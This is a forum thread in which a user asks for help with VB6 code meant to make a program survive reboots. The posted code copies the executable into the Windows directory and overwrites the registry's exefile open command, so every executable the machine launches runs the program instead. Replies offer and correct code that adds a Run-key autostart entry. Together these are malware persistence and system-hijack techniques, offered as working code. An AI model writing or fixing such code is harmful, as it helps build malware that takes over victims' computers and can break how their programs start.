Thread: one vb6 reg problem

ok so like i stated i tried to get the reg going and i am having a problem no load up so i tried this

\/

Code:

Public Sub Startuppp()
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Clone App_Path & App.EXEName & ".exe", fGetWinDir & "\" & App.EXEName & ".exe"
Reg.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", App.EXEName & ".exe " & Chr(34) & Chr(37) & Chr(49) & Chr(34) & Chr(32) & Chr(37) & Chr(42)
End Sub

Still wont boot with the pc what am i doing wrong ? on
Call Startuppp ? under main forum Sub


Advice welcome

Try this o_o

Code:

Dim startup As String
    startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

You made a typo

Originally Posted by Menace

Try this o_o

Code:

Dim startup As String
    startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

should be :

Code:

Dim startup As String
    startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup & App.EXEName, App.Path & "\" & App.EXEName & ".exe"